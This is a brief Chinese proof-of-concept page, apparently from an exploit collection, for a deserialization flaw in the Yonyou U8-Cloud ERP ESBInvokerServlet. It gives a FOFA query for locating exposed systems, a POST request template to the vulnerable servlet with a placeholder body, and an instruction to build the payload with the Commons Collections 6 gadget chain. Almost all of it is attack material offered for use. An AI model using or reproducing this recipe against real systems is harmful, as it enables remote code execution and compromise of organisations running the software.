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24 lines
531 B
Markdown
24 lines
531 B
Markdown
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# 用友u8-cloud系统ESBInvokerServlet存在反序列化漏洞
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## fofa
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```yaml
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app="用友-U8-Cloud"
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```
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## poc
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```
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POST /servlet/ESBInvokerServlet HTTP/1.1
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Host: ip
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
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Accept:
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text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Content-Length: 1123
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反序列内容
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```
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使用使用cc6链生成payload打即可
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